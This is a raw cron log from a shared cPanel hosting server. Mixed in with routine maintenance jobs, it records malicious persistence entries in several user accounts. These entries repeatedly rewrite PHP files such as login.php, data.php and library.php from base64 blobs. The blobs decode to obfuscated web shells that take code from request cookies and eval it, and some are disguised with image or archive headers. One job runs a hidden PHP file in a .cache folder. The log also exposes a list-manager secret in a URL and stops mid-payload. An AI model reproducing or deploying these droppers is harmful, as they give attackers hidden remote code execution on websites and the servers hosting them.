Jun  7 07:27:01 medusa CROND[13282]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:27:01 medusa CROND[13286]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:27:01 medusa CROND[13290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:27:01 medusa CROND[13294]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:27:01 medusa CROND[13295]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:27:01 medusa CROND[13296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:27:01 medusa CROND[13292]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:28:02 medusa CROND[15251]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:28:02 medusa CROND[15252]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 07:28:02 medusa CROND[15253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:28:02 medusa CROND[15254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:28:02 medusa CROND[15255]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:28:02 medusa CROND[15257]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:28:02 medusa CROND[15256]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:28:02 medusa CROND[15258]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:28:02 medusa CROND[15261]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:28:02 medusa CROND[15262]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:28:02 medusa CROND[15263]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 07:28:02 medusa CROND[15268]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:28:02 medusa CROND[15269]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:28:02 medusa CROND[15270]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:29:02 medusa CROND[17120]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:29:02 medusa CROND[17121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:29:02 medusa CROND[17122]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 07:29:02 medusa CROND[17123]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:29:02 medusa CROND[17125]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 07:29:02 medusa CROND[17124]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:29:02 medusa CROND[17126]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:29:02 medusa CROND[17127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:29:02 medusa CROND[17128]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:29:02 medusa CROND[17130]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dl